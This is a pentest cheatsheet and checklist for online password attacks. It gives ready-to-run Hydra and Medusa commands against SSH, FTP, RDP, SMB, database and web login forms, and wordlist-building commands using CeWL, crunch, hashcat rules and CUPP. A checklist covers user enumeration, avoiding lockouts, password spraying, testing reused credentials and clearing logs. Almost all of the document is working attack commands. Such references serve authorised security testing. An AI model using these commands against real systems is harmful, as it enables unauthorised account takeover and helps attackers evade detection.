Cheatsheet

Hydra — Core Syntax

hydra [login_opts] [pass_opts] [attack_opts] service://target[:port]

Hydra — Common Flags

-l user         -L users.txt            # single / list
-p pass         -P passwords.txt
-u              # loop users for each password (spray mode)
-t 16           # parallel tasks (default 16)
-f / -F         # stop on first success (host / global)
-s PORT         # non-default port
-o creds.txt    # save results
-M targets.txt  # multiple hosts
-R              # resume previous aborted session
-x MIN:MAX:CHARSET  # generate passwords
-V / -vV        # verbose

Hydra — SSH / FTP / Telnet

hydra -L users.txt -P rockyou.txt ssh://10.10.10.10 -t 4
hydra -l admin   -P rockyou.txt ftp://10.10.10.10
hydra -L users.txt -P passwords.txt telnet://10.10.10.10

Hydra — HTTP Basic / Digest Auth

hydra -L users.txt -P rockyou.txt 10.10.10.10 http-get /admin/
hydra -l admin    -P passwords.txt 10.10.10.10 -s 8080 http-get /

Hydra — HTTP POST Form

# Syntax: "path:post_body:failure_or_success_marker"
hydra -l admin -P passwords.txt 10.10.10.10 http-post-form \
  "/login.php:username=^USER^&password=^PASS^:F=Invalid credentials"
 
# Success condition (redirect)
hydra -l admin -P passwords.txt example.com http-post-form \
  "/login:user=^USER^&pass=^PASS^:S=302"
 
# With cookie / CSRF token
hydra -L users.txt -P rockyou.txt example.com https-post-form \
  "/login:user=^USER^&pass=^PASS^&csrf=TOKEN:H=Cookie\: session=abc:F=Login failed"

Hydra — RDP / SMB / MSSQL / MySQL / PostgreSQL

hydra -l administrator -P passwords.txt rdp://10.10.10.10
hydra -L users.txt -P passwords.txt smb://10.10.10.10
hydra -l sa -P passwords.txt mssql://10.10.10.10
hydra -l root -P passwords.txt mysql://10.10.10.10
hydra -l postgres -P passwords.txt postgres://10.10.10.10

Hydra — Brute With Generated Charset

# -x MIN:MAX:CHARSET  (a=lower, A=upper, 1=digits, symbols literal)
hydra -l administrator -x 6:8:a1 rdp://10.10.10.10

Medusa — Core Syntax

medusa -h HOST -u USER -P PASSLIST -M MODULE [-m MODULE_OPT]

Medusa — Common Flags

-h host     -H hosts.txt
-u user     -U users.txt
-p pass     -P passwords.txt
-M module       # ssh | ftp | http | smbnt | mssql | rdp | ...
-m KEY=VAL      # module-specific option
-t 16           # threads per host
-T 8            # parallel hosts
-f / -F         # stop on success (host / global)
-n PORT         # non-default port
-e ns           # also try null pass (n) and user=pass (s)
-O creds.txt
-v 6            # verbose

Medusa — Examples

medusa -h 10.10.10.10 -u admin -P rockyou.txt -M ssh
medusa -H hosts.txt -U users.txt -P rockyou.txt -M http -m GET
medusa -h 10.10.10.10 -U users.txt -e ns -M ftp         # null + user=pass
medusa -h 10.10.10.10 -u Administrator -P pass.txt -M smbnt

Wordlist Generation

# CeWL — spider a site for words
cewl -d 2 -m 5 -w site.wordlist https://target.tld
 
# crunch — all 8-char lowercase+digit combos
crunch 8 8 abcdefghijklmnopqrstuvwxyz0123456789 -o pw.txt
 
# hashcat rules — mutate rockyou with best64
hashcat --stdout -r /usr/share/hashcat/rules/best64.rule rockyou.txt > mutated.txt
 
# username-anarchy — permute names
./username-anarchy Jane Smith > jane_smith.txt
 
# CUPP — personalized wordlist from OSINT
cupp -i

Common Pitfalls

Lockouts        # 3-5 bad attempts = account locked. SPRAY, don't brute.
Rate limits     # -t 1 -W 5 for slow throttles
CAPTCHA         # hydra won't solve; look for an API/mobile endpoint
CSRF tokens     # need per-request token → use custom script, not hydra
Multi-step auth # hydra can't follow redirects/multi-stage flows

Checklist

Pre-Attack Recon

  • Identify the service and version (nmap -sV)
  • Check for default credentials (vendor docs, SecLists default-creds)
  • Look for public credential leaks tied to the domain (dehashed, haveibeenpwned)
  • Enumerate usernames (SMB null session, SMTP VRFY, LDAP, OSINT, error messages)
  • Confirm no lockout policy before brute-forcing (test 1 account with 3 bad passwords)

Target Selection

  • Prefer password spraying over brute-forcing against domain accounts
  • Prefer a small, high-quality wordlist over rockyou against rate-limited services
  • Deprioritise services behind MFA, WAF, CAPTCHA
  • Prioritise exposed SSH / FTP / RDP / database ports

Wordlist Prep

  • Build a username list (username-anarchy, OSINT, enumerated accounts)
  • Build a password list (rockyou, CUPP for personalised, cewl for site-themed)
  • Apply hashcat rules to expand (best64, OneRuleToRuleThemAll)
  • Prepend the current season/year (e.g. Autumn2025!) for corp targets

Execute

  • Choose tool (Hydra for forms, Medusa for huge host lists)
  • Set threads conservatively (-t 4 for SSH, -t 1 for rate-limited)
  • Use -f to stop on first hit per host
  • Log output (-o / -O)
  • Capture the login request in Burp first to get form fields and failure string right

HTTP Form Specifics

  • Confirm the exact failure string in the response body (not just HTTP status)
  • Use S= for success marker, F= for failure marker
  • Add required headers with H=Cookie\: ...
  • Verify the ^USER^ and ^PASS^ placeholders are in the POST body

Post-Attack

  • Validate found creds manually (don’t trust the tool’s parser alone)
  • Test creds across other services (password reuse)
  • Clear noisy logs if authorised, or note them for the report
  • If nothing hit: swap wordlist, enumerate more users, revisit assumptions